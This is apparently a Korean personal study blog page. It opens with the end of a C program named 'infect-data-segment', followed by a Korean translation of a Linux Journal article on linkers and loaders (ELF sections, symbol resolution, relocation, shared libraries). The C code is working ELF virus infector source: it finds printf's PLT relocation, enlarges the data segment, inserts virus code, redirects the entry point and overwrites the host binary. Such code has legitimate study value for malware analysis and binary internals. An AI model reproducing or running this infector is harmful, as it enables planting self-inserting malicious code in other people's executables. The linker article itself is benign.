exit(1);
}

if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
perror("read");
exit(1);
}

symp = sym;

for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
if (!strcmp(&string[symp->st_name], sh_function)) {
free(string);
return symp - sym;
}

++symp;
}

free(string);
return -1;
}

int get_sym_number(
int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int i;

for (i = 0; i < ehdr->e_shnum; i++) {
if (shdrp->sh_type == SHT_DYNSYM) {
return do_dyn_symtab(fd, shdr, shdrp, sh_function);
}

++shdrp;
}
}

void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
Elf32_Rel *rel, *relp;
int i;

rel = (Elf32_Rel *)malloc(shdr->sh_size);
if (rel == NULL) {
perror("malloc");
exit(1);
}

if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
perror("lseek");
exit(1);
}

if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
perror("read");
exit(1);
}

relp = rel;

for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
if (ELF32_R_SYM(relp->r_info) == sym) {
*plt = relp->r_offset;
*offset = relp - rel;
printf("offset %i\n", *offset);
return;
}
++relp;
}

*plt = -1;
*offset = -1;
}

void find_rel(
int *plt,
int *offset,
int fd,
const char *string,
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int sym;
int i;

sym = get_sym_number(fd, ehdr, shdr, sh_function);
if (sym < 0) {
*plt = -1;
*offset = -1;
return;
}

for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
do_rel(plt, offset, fd, shdrp, sym);
return;
}

++shdrp;
}
}

void infect_elf(
char *host,
char *(*get_virus)(void),
int (*init_virus)(int, int, int, int, int, int),
int len,
const char *sh_function
)

{
Elf32_Ehdr ehdr;
Elf32_Shdr *shdr, *strtabhdr;
Elf32_Phdr *phdr;
char *pdata, *sdata;
int move = 0;
int od, fd;
int evaddr, text_start = -1, plt;
int sym_offset;
int bss_len, addlen;
int offset, pos, oshoff;
int plen, slen;
int i;
char null = 0;
struct stat stat;
char *string;
char tempname[8] = "vXXXXXX";

fd = open(host, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

/* read the ehdr */

if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
perror("read");
exit(1);
}

do_elf_checks(&ehdr);

/* modify the virus so that it knows the correct reentry point */

printf("host entry point: %x\n", ehdr.e_entry);

/* allocate memory for phdr tables */

pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
if (pdata == NULL) {
perror("malloc");
exit(1);
}

/* read the phdr's */

if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}

if (read(fd, pdata, plen) != plen) {
perror("read");
exit(1);
}
phdr = (Elf32_Phdr *)pdata;

/* allocated memory if required to accomodate the shdr tables */

sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
if (sdata == NULL) {
perror("malloc");
exit(1);
}

/* read the shdr's */

if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}

if (read(fd, sdata, slen) != slen) {
perror("read");
exit(1);
}

strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];

string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}

if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET
) != strtabhdr->sh_offset) {
perror("lseek");
exit(1);
}

if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}

find_rel(
&plt, &sym_offset,
fd,
string,
&ehdr,
(Elf32_Shdr *)sdata,
sh_function
);
if (plt < 0) {
printf("No dynamic function: %s\n", sh_function);
exit(1);
}

for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type == PT_LOAD) {
if (phdr->p_offset == 0) {
text_start = phdr->p_vaddr;
} else {
if (text_start < 0) {
fprintf(stderr, "No text segment??\n");
exit(1);
}

/* is this the data segment ? */
#ifdef DEBUG
printf("Found PT_LOAD segment...\n");
printf(
"p_vaddr: 0x%x\n"
"p_offset: %i\n"
"p_filesz: %i\n"
"p_memsz: %i\n"
"\n",
phdr->p_vaddr,
phdr->p_offset,
phdr->p_filesz,
phdr->p_memsz
);
#endif
offset = phdr->p_offset + phdr->p_filesz;
bss_len = phdr->p_memsz - phdr->p_filesz;

if (init_virus != NULL)
init_virus(
plt, sym_offset,
text_start, phdr->p_vaddr,
phdr->p_memsz,
ehdr.e_entry
);

ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;

break;
}
}

++phdr;
}

/* update the shdr's to reflect the insertion of the virus */

addlen = len + bss_len;

shdr = (Elf32_Shdr *)sdata;

for (i = 0; i < ehdr.e_shnum; i++) {
if (shdr->sh_offset >= offset) {
shdr->sh_offset += addlen;
}

++shdr;
}

/*
update the phdr's to reflect the extention of the data segment (to
allow virus insertion)
*/

phdr = (Elf32_Phdr *)pdata;

for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type != PT_DYNAMIC) {
if (move) {
phdr->p_offset += addlen;
} else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */

phdr->p_filesz += addlen;
phdr->p_memsz += addlen;

#ifdef DEBUG
printf("phdr->filesz: %i\n", phdr->p_filesz);
printf("phdr->memsz: %i\n", phdr->p_memsz);
#endif
move = 1;
}
}

++phdr;
}

/* update ehdr to reflect new offsets */

if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;

if (fstat(fd, &stat) < 0) {
perror("fstat");
exit(1);
}

/* write the new virus */

if (mktemp(tempname) == NULL) {
perror("mktemp");
exit(1);
}

od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
if (od < 0) {
perror("open");
exit(1);
}

if (lseek(fd, 0, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (write(od, &ehdr, sizeof(ehdr)) < 0) {
perror("write");
goto cleanup;
}

if (write(od, pdata, plen) < 0) {
perror("write");
goto cleanup;
}
free(pdata);

if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;

for (i = 0; i < bss_len; i++) write(od, &null, 1);

if (write(od, get_virus(), len) != len) {
perror("write");
goto cleanup;
}

if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;

if (write(od, sdata, slen) < 0) {
perror("write");
goto cleanup;
}
free(sdata);

if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;

if (rename(tempname, host) < 0) {
perror("rename");
exit(1);
}

if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
perror("chown");
exit(1);
}


free(string);

return;

cleanup:
unlink(tempname);
exit(1);
}

int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: infect-data-segment filename\n");
exit(1);
}

infect_elf(
argv[1],
get_virus, init_virus,
sizeof(v),
"printf"
);

exit(0);
}
<-->

|EOF|-------------------------------------------------------------------------|

'Linker & Loader' 카테고리의 다른 글

참고자료  (0) 2009.11.08
정적 라이브러리의 구조 - ar, ranlib  (0) 2009.11.05
공유 라이브러리의 기본 (PIC, GOT, PLT)  (0) 2009.11.04
링크(Linkers) 와 로더(Loaders)  (0) 2009.11.04

WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,

문서 정보

원문: http://www.linuxjournal.com/article/6463
출처 : http://blog.naver.com/simz/20024938289
저자: Sandeep Grover, 2002.11.26
정리: 이동우(leedw at ssrnet.snu.ac.kr), 2005.11.26


Linkers and Loaders

링킹(Linking)이란 코드와 데이타들을 한데 묶어 메모리에 로드될 수 있는 하나의 실행파일 형태로 만드는 작업을 말한다. 링킹은 compile time, load time(로더에 의해) 혹은 run time(어플리케이션에 의해)에도 이루어질 수 있다. 링킹의 유래는 1940년까지 거슬러 올라가는데 당시에는 수작업으로 이루어졌다고 한다. 현재는 링커(Linker)가 있어서 동적으로 링크되는 공유 라이브러리(shared library)와 같은 복잡한 작업을 수행해 주고 있다. 이 문서에서는 재배치(relocation)부터 심볼 해석(symbol resolution)까지 이르는 링킹의 각 측면들을 간단히 살펴보도록 하겠다. 편의상 x86 아키텍쳐에서 구동되는 Linux 기반의 ELF 포맷과 GNU 컴파일러(gcc)/링커(ld)에 촛점을 맞추어서 논의하도록 하겠다. 그러나 링킹의 기본 컨셉은 프로세서나 운영체제, 오브젝트 포맷과 상관없이 모두 동일하다고 보면 된다.


 

Compiler, Linker and Loader in Action: the Basics

 

다음과 같이 a.c와 b.c 두 개의 프로그램이 있다고 생각해 보자. 쉘에서 두 코드들을 gcc에 입력할 때 다음과 같은 작업들이 수행된다.

gcc a.c b.c


· a.c에 대해 전처리기(preprocessor)가 실행되어 전처리기 중간 파일(a.i)이 생성된다.

   cpp other-command-line options a.c /tmp/a.i



· a.i에 대해 컴파일러가 실행되어 a.s라는 어셈블러 코드가 생성된다.

   cc1 other-command-line options /tmp/a.i -o /tmp/a.s



· a.s에 대해 어셈블러가 실행되어 a.o라는 object 파일이 생성된다.

   as other-command-line options /tmp/a.s -o /tmp/a.o


cpp, cc1과 as는 각각 GUN 전처리기, 컴파일러, 어셈블러로서 표준 GCC 배포본에 들어있는 툴들이다.
위의 3단계 과정이 다시 b.c에 적용되어 b.o가 생성이 된다. 이제 링커는 2개의 오브젝트 파일(a.o, b.o)을 입력받아 최종 실행파일을 만들게 된다.

   ld other-command-line-options /tmp/a.o /tmp/b.o -o a.out




최종으로 생성되는 실행파일(a.out)은 이제 메모리에 로드될 수 있다. 실행파일을 실행하기 위해선 shell prompt 상에서 파일 이름만 타이핑해 주면 된다.

./a.out



쉘은 로더 함수를 호출하게 되고 로더는 실행파일 a.out속에 있는 코드와 데이타를 메모리에 복사한다. 그리고 프로그램의 시작 주소로 제어권을 넘겨주게 된다. 로더는 execve라 불리는 프로그램으로서 실행파일속에 들어 있는 코드와 데이타를 메모리에 로드하고 코드의 첫번째 주소에 위치한 instruction으로 점프하여 프로그램을 실행시키는 작업을 수행한다.
a.out는 a.out 오브젝트 파일들의 "Assembler OUTput"이라는 의미에서 명명되었다.. 이후로 오브젝트 포맷은 변해갔지만 그 이름은 계속 사용되었다.



 

Linkers vs. Loaders


링커와 로더는 여러 유사한, 그러나 개념적으로는 다른 작업들을 수행한다.

· 프 로그램 로딩(Program loading). 이것은 하드 디스크에 저장되어 있는 프로그램 이미지를 메인 메모리에 복사하여 실행상태로 만드는 것을 말한다. 어떤 경우에는 프로그램 로딩은 디스크 페이지에 가상 주소를 매핑하거나 저장 영역을 할당하는 것도 포함된다.


· 재 배치(relocation). 컴파일러와 어셈블러는 입력받은 각 모듈에 대해 0번지로 시작하는 오브젝트 코드를 생성한다. 재배치는 같은 타입의 모든 section을 하나의 단일 section으로 통합함으로써 프로그램의 각 파트에 로딩 주소를 할당하는 작업이다.


· 심 볼해석(Symbol resolution). 하나의 프로그램은 여러 서브 프로그램으로 구성되어 있다. 하나의 서브 프로그램이 다른 프로그램을 참조할 때 심볼이 사용된다. 링커가 하는 일은 심볼의 위치를 기억해 두었다가 심볼을 사용하는 호출모듈의 오브젝트 코드를 패치하여 심볼 참조를 해석(resolve)한다.


링커와 로더의 기능 사이에는 겹치는 부분이 상당히 많다. 한가지 생각해 볼 수 있는 방법은, 로더는 프로그램 로딩을 수행하고, 링커는 심볼 해석(symbol resolution)을 담당며 둘 다 재배치(relocation)을 할 수 있다는 것이다.



 

Object Files


오브젝트 파일은 다음과 같이 3개의 형태로 나뉜다.

· 재배치 가능한 오브젝트 파일(relocatable object file). compile-time에 다른 재배치 가능한 오브젝트 파일과 통합할 수 있어 하나의 실행파일이 생성될 수 있는 형태의 바이너리 코드와 데이타를 포함한다.


· 실행 오브젝트 파일(executable object file). 메모리에 직접 로딩되어 실행될 수 있는 형태의 바이너리 코드와 데이타를 포함한다.


· 공유 오브젝트 파일(shared object file). load-time이나 run-time에 동적으로 메모리에 로드되고 링크될 수 있는 특수한 타입의 재배치 가능한 오브젝트 파일.


컴파일러와 어셈블러는 재배치 가능한 오브젝트 파일(또한 공유 오브젝트 파일도)을 생성한다. 링커는 그러한 오브젝트 파일을 통합하여 실행파일을 생성한다.
오 브젝트 파일은 시스템에 따라 각기 다른 형태를 가지는데 최초 unix 시스템에서는 a.out 포맷을 사용했었다. system V의 초기 버전에서는 COFF(common object file format)을 사용했고 windows NT는 PE(portable executable)라 불리는 COFF의 변종을 사용한다. IBM은 자체적으로 설계한 IBM 360 포맷을, Linux나 Solaris와 같은 현대 unix 시스템은 UNIX ELF(execuatble and linking format)를 사용한다.
이 문서에서는 주로 ELF에 대해 촛점을 두겠다.


표1. 전형적인 재배치 가능한 ELF오브젝트 파일 형식

ELF Header
.text
.rodata
.data
.bss
.symtab
.rel.text
.rel.data
.debug
.line
.strtab

위 그림은 전형적인 ELF relocatable object file의 포맷을 보여주고 있다. ELF 헤더는 4바이트 magic string('0x7f', 'E', 'L', 'F')으로 시작된다. ELF relocatbale object file 내에 있는 여러 section들을 살펴보면 다음과 같다.



· .text : 컴파일된 프로그램의 기계어 코드


· .rodata : 읽기 전용 데이타(read-only data). printf 구문에 들어가는 format string등이 이 영역에 저장된다.


· .data : 초기화된 전역 변수가 저장되는 영역


· .bss : 초기화되지 않은 전역 변수가 저장되는 영역. BSS는 "Block Storage Start"의 약자이다. 이 section은 실제로는 오브젝트 파일내에서 아무 공간도 차지하지 않고 있다.


· .symtab : 프로그램 내에서 정의되거나 참조되고 있는 전역 변수와 함수에 대한 정보를 담고 있는 심볼 테이블. 이 테이블에는 로칼 변수에 대한 정보는 담고 있지 않은데 이는 스택이 그 정보를 담고 있기 때문이다.


· .rel.text : 링커가 이 오브젝트 파일과 다른 오브젝트 파일을 combine할 때 .text 내에서 변경되어야 할 위치들의 리스트를 담고 있는 영역.


· .rel.data : 현재 모듈에서 참조만 되고 정의되어 있지 않은 전역 변수의 재배치 정보


· .debug : 지역 및 전역 변수를 엔트리로 가지는 디버깅 심볼 테이블. 이 섹션은 컴파일러 옵션 -g가 주어졌을 때 생성된다.


· .line : 원본 c소스 프로그램의 라인번호와 .text 섹션에 있는 머신 코드간의 매핑 정보. 디버거 프로그램에서 이 정보를 사용한다.


· .strtab : .symtab과 .debug 섹션에 있는 심볼 테이블들의 스트링 테이블




Symbols and Symbol Resolution


재배치 가능한 모든 오브젝트 파일에는 심볼 테이블과 그와 관련된 심볼들을 가지고 있다. 링커의 맥락으로 살펴보면 심볼은 다음과 같은 종류가 있다.
· 입력 모듈에서 정의되어 있는 global symbol. 다른 모듈에서 참조할 수 있다. 일반 함수와 전역 변수가 여기에 속한다.


· 입력 모듈에서 참조하는 하고 있지만 다른 곳에 정의된 global symbol. extern으로 선언된 함수와 변수가 여기에 해당


· 입력 모듈에서 정의되어 해당 모듈에서만 배타적으로 참조할 수 있는 local symbol. 정적 함수와 정적 변수가 이 범주에 속한다.


링커는 입력으로 들어온 재배치 가능한 오브젝트 파일의 심볼 테이블에 있는 엔트리를 검색해서 심볼 참조(symbol reference)를 해석한다. local symbol은 한 모듈에서 다중으로 정의할 수 없기 때문에 local symbol의 해석은 간단한 편이다. 반면에 global symbol은 약간의 기교를 필요로 한다. 컴파일할 때 캄파일러는 각각의 global symbol을 '약'하게, 혹은 '강'하게 export할 수 있다. 함수와 초기화된 전역 변수들은 강한 무게로 export되는 반면 초기화 되지 않은 전역 변수들은 약한 무게로 export된다. 링커는 다음과 같은 규칙을 사용해 심볼을 해석하게 된다.


   1. 여러 개의 strong symbol은 허락되지 않는다.


   2. 하나의 strong symbol과 여러 개의 weak symbol이 주어질 때, strong symbol을 선택한다.


   3. 여러 개의 weak symbol이 있을 경우 그 중 아무거나 선택한다.




예를 들어, 다음과 같은 두 개의 프로그램을 링크시킬 경우 링커는 에러를 발생시키게 된다.

/* foo.c */               /* bar.c */
int foo () {               int foo () {
   return 0;                  return 1;
}                          }
                           int main () {
                              foo ();
                           }


foo(전역 함수로서 strong symbol에 해당한다.)가 두 번 정의되어 있으므로 링커는 에러 메시지를 출력한다.

gcc foo.c bar.c
/tmp/ccM1DKre.o: In function 'foo':
/tmp/ccM1DKre.o(.text+0x0): multiple definition of 'foo'
/tmp/ccIhvEMn.o(.text+0x0): first defined here
collect2: ld returned 1 exit status


collect2는 링커 ld의 wrapper로서 gcc에 의해 호출된다.




 

Linking with Static Libraries


정적 라이브러리(static library)는 비슷한 유형의 오브젝트 파일들을 모아 놓은 것이다. 이 라이브러리는 아카이브(archive) 형태로 디스크에 저장되어 있다. 아카이브에는 검색을 빠르게 하기 위해 디렉토리 정보도 포함되어 있다. ELF archive는 매직 스트링 "!<arch>\n"로 시작한다.
정적 라이브러리는 컴파일러 툴(링커)에 인자로 넘겨진다. 유닉스 시스템에서는 libc.a는 대부분의 프로그램이 사용하는 printf, fopen를 포함한 모든 c라이브러리 함수를 포함하고 있다.


gcc foo.o bar.o /usr/lib/libc.a /usr/lib/libm.a


libm.a는 표준 수학 라이브러리(math library)로 sqrt, sin, cos등등의 수학 함수가 정의된 오브젝트 모듈들을 포함하고 있다.

사용자 삽입 이미지


static library를 사용해 심볼 해석을 진행하는 과정에서 링커는 커맨드 라인에서 입력으로 들어온 인자의 왼쪽부터 오른쪽 방향으로 재배치 가능한 오브젝트 파일과 아카이브를 검색한다. 이 검색중에 링커는 실행 파일로 만들어질 재배치 가능한 오브젝트 파일의 묶음인 O집합, 해석되지 않은 심볼 리스트를 담고있는 U집합, 입력 모듈에서 정의된 심볼들을 나타내는 D집합을 관리하게 된다. 초기에는 이 세개의 집합은 비어있게 된다.
· 링커는 커맨드 라인에서 입력으로 들어온 인자가 오브젝트 파일인지 아카이브인지를 결정한다. 만약 입력 모듈이 재배치 가능한 오브젝트 파일이라면 링커는 그것을 O집합에 추가하고 U와 D를 업데이트한 후 다음 입력 파일로 진행한다.


· 만 약 입력 모듈이 아카이브라면 아카이브를 구성하는 모듈 멤버들을 쭉 검색해서 U집합에 들어있는 해석되지 않은 심볼과 매치되는지 살펴본다. 만약 아카이브 멤버중에서 해석되지 않았던 심볼을 정의해 놓은 모듈이 있다면 그 모듈은 O리스트에 추가되고 U와 D는 업데이트된다. 이 과정은 모든 오브젝트 파일 멤버들에게 행해진다.


· 입력 모듈에 대해 위와 같은 두 단계가 모두 행해진 후 만약 U집합이 비어있지 않다면 링커는 에러를 리포팅하고 종료한다. U집합이 비어있다면 O집합에 있는 오브젝트 파일들은 merge되고 재배치되어 실행파일이 만들어진다.


이 과정을 통해 왜 정적 라이브러리가 링커 커맨드의 마지막에 위치하는지 알 수 있게 된다. 두 개의 라이브러리가 서로 순환적 의존 관계에 있는 경우에는 특별히 주의를 기울여야 한다. 커맨드 라인에 라이브러리를 입력할 때 심볼들이 아카이브의 멤버 라이브러리에 의해 참조될 수 있도록 순서를 가지고 입력되어야 한다. 심볼이 정의된 라이브러리가 그것을 참조하는 라이브러리보다 앞선 순으로 입력되어야 하고 만약 해석안된 심볼이 한 개 이상의 정적 라이브러리 모듈에서 정의되어 있을 때는 커맨드 라인에서 첫번째로 입력된 라이브러리의 정의를 따르게 된다.



 

Relocation

 

링커가 심볼의 해석을 모두 끝내게 되면 각각의 심볼 참조는 오직 하나의 심볼 정의를 갖게 된다. 이 시점에서 링커는 다음과 같은 두 단계의 재배치(relocation) 작업을 시작하게 된다.

· section 과 심볼 정의(symbol definition)들을 재배치한다. 링커는 같은 타입의 섹션들을 묶어 하나의 새로운 섹션으로 통합한다. 예를 들어 링커에 입력된 재배치 가능한 파일들에 있는 각각의 .data 세션을 하나의 단일한 .data 섹션으로 머지하여 최종 실행파일을 생성한다. .code 섹션에도 같은 작업이 수행된다. 그리고 링커는 이렇게 통합하여 생성된 섹션들과 입력 모듈에서 정의한 섹션들, 그리고 각각의 심볼들에게 run-time 메모리 주소를 할당한다. 이 단계가 끝나면 프로그램 내에 있는 모든 인스트럭션과 전역 변수들은 고유한 load-time 주소를 갖게 된다.


· section내에 있는 심볼 참조를 재배치한다. 링커는 이 단계에서 코드 및 데이타 섹션에 있는 모든 심볼 참조를 변경하여 심볼이 정의된 정확한 load-time 주소를 가리키게 만든다.


어셈블러가 unresolved 심볼을 만나게 되면 해당 오브젝트에 relocation entry를 생성하고 이를 .relo.text/.relo.data 섹션에 저장한다. relocation entry에는 해당 심볼의 참조를 어떻게 해석할 것인지에 대한 정보를 담고 있다. 전형적인 ELF relocation entry에는 다음과 같은 정보들로 구성되어 있다.


· Offset : 재배치 해야할 심볼 참조의 section offset. 재배치 가능한 파일에서 보면 이 값은 섹션의 시작부터 심볼 참조 위치까지의 바이트 옵셋 값이다.


· Symbol : 변경된 심볼 참조가 가리켜야할 심볼. 각각 재배치가 될 심볼 테이블의 인덱스라고 보면 된다.


· Type : 재배치 타입, 정상적인 경우 프로그램 카운터(PC) 상대 주소 방식(PC-relative addressing)을 의미하는 "R_386_PC32"이다. "R_386_32"는 절대 주소 방식(absolute addressing)을 의미한다.




링커는 재배치 가능한 오브젝트 모듈에 있는 모든 relocation entry를 조사해서 unresolved symbol을 type에 따라 재배치하게 된다. 가령 심볼이 "R_386_PC32" 타입인 경우, 재배치 주소는 S+A-P로 계산이 이루어지고 "R_386_32" 타입인 경우 S+A 식으로 계산이 된다. 여기서 'S'는 relocation entry의 심볼 값, 'P'는 section offset이나 재배치될 주소값(relocation entry에 저장된 offset값을 사용해 계산한다.), 'A'는 relocatable field의 값을 계산할 때 필요한 주소를 의미한다.


 

Dynamic Linking: Shared Libraries

 

정적 라이브러리(static library)는 몇몇 심각한 단점을 가지고 있다. 예를 들어 printf나 scanf와 같은 표준 라이브러리 함수를 생각해 보자. 이런 함수들은 거의 모든 어플리케이션에서 사용하고 있다. 만약 시스템이 50-100개의 프로세스를 실행하게 되면 각각의 프로세스는 printf, scanf 함수가 구현된 실행 코드를 가지게 될 것이다. 이것은 중요한 메모리 공간을 차지하게 되는 원인이 된다. 반면 공유 라이브러리(shared library)는 이런 정적 라이브러리의 결함을 해결하고 있다. 공유 라이브러리는 run-time시 어느때나 임의의 메모리 주소에 로딩될 수 있는 object module로서 이미 메모리에서 실행중인 프로그램에 의해서 링크될 수 있다. 공유 라이브러리는 때때로 공유 오브젝트(shared object)라고도 불린다. 대부분의 unix 시스템에서는 이런 공유 오브젝트를 ".so" 접미사로 표기하지만 HP-UX에서는 ".sl"로, MS 시스템에서는 DLL(dynamic link library)로 표기하기도 한다.
공유 오브젝트를 빌드하기 위해선 컴파일러에 특별한 옵션을 주어 실행시킨다.


gcc -shared -fPIC -o libfoo.so a.o b.o


사용자 삽입 이미지


위 커맨드는 컴파일러 드라이버에게 2개의 오브젝트 모듈 "a.o", "b.o"를 묶어 "libfoo.so"라는 이름의 공유 라이브러리를 생성하게 만드는 커맨드이다.1 "-fPIC" 옵션은 position independent code(PIC)를 생성하도록 지시하는 옵션이다.

이제 "a.o", "b.o"에 의존적인 메인 오브젝트 모듈 "bar.o"를 가정해 보자. 이 경우 링커는 다음과 같은 커맨드로 실행된다.


gcc bar.o ./libfoo.so


이 커맨드를 통해 load-time에 "libfoo.so"를 링크할 수 있는 형태의 "a.out" 실행파일이 생성된다. 이 "a.out"에는 공유 라이브러리를 링크했기 때문에 "a.o", "b.o"가 포함되어 있지 않다. 만약 공유 라이브러리 대신 정적 라이브러리를 포함했다면 그 2개의 오브젝트 모듈 코드가 모두 들어 있을 것이다.
여기서 실행파일은 단지 "libfoo.so"의 데이타나 코드를 참조할 수 있도록 심볼 테이블 및 재배치 정보만 담고 있다가 run-time에 해석이 이루어진다. 따라서 "a.out"은 "libfoo.so"에 의존성을 가진 불완전한 실행파일이라고 할 수 있다. 또한 실행파일은 ".interp"라는 섹션을 가지고 있는데 여기에는 동적 링커(dynamic linker)의 이름이 포함되어 있다. 이것 또한 linux 시스템에 포함된 공유 오브젝트(ld-linux.so)이다. 그래서 실행파일이 메모리에 로딩될 때 로더는 이 동적 링커에 실행 제어를 넘긴다. 동적 링커는 공유 라이브러리를 프로그램의 주소 영역에 매핑시키는 start-up 코드를 포함하고 있다. 동적 링커는 다음과 같은 작업을 수행한다.
· "libfoo.so"의 텍스트와 데이타를 실행파일의 memory segment로 재배치한다.


· "libfoo.so"에 정의된 심볼을 참조하는 "a.out"내의 모든 심볼 참조를 재배치한다.


마지막으로 이 작업이 끝나면 동적 링커는 어플리케이션에 실행 제어를 넘긴다. 이때부터 공유 오브젝트의 위치가 메모리에 고정된다.



 

Loading Shared Libraries from Applications

 

공유 라이브러리는 어플리케이션이 실행중이더라도 언제든 로딩이 가능하다. 공유 라이브러리를 실행 파일로 링크하지 않아도 어플리케이션은 동적 링커에게 공유 라이브러리를 메모리에 로딩하고 링크하도록 명령을 내릴 수가 있다.2 리눅스, 솔라리스와 그외 다른 시스템에서는 공유 오브젝트를 동적으로 로딩할 수 있는 일련의 함수 콜을 제공하고 있다.
리눅스에서는 공유 오브젝트를 로딩할 때 사용할 수 있는 "dlopen", "dlsym, "dlclose"등의 system call을 지원하고 있는데 각각 공유 오브젝트를 로딩하고 공유 오브젝트내에 있는 심볼을 검색하고 공유 오브젝트를 close하는 기능을 제공하고 있다. 윈도우즈 시스템에서는 "LoadLibrary", "GetProcAddress" 함수가 각각 "dlopen", "dlsym"에 해당하는 함수들이다.




Tools for Manipulating Object Files (Object File 관리하는 Tool)

 

다음은 리눅스에서 오브젝트나 실행파일을 관리하는데 사용할 수 있는 툴들을 소개한 것이다.



ar : 정적 라이브러리를 생성한다.


objdump : 가장 중요한 바이너리 툴. 오브젝트 바이너리 파일내의 모든 정보를 출력할 수 있다.


strings : 바이너리 파일내에 printable string을 나열한다.


nm : 해당 오브젝트 파일의 심볼 테이블에 정의된 심볼들을 나열한다.


ldd : 오브젝트 바이너리가 의존하고 있는 공유 라이브러리들을 나열한다.


strip : 심볼 테이블 정보를 삭제한다.


WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,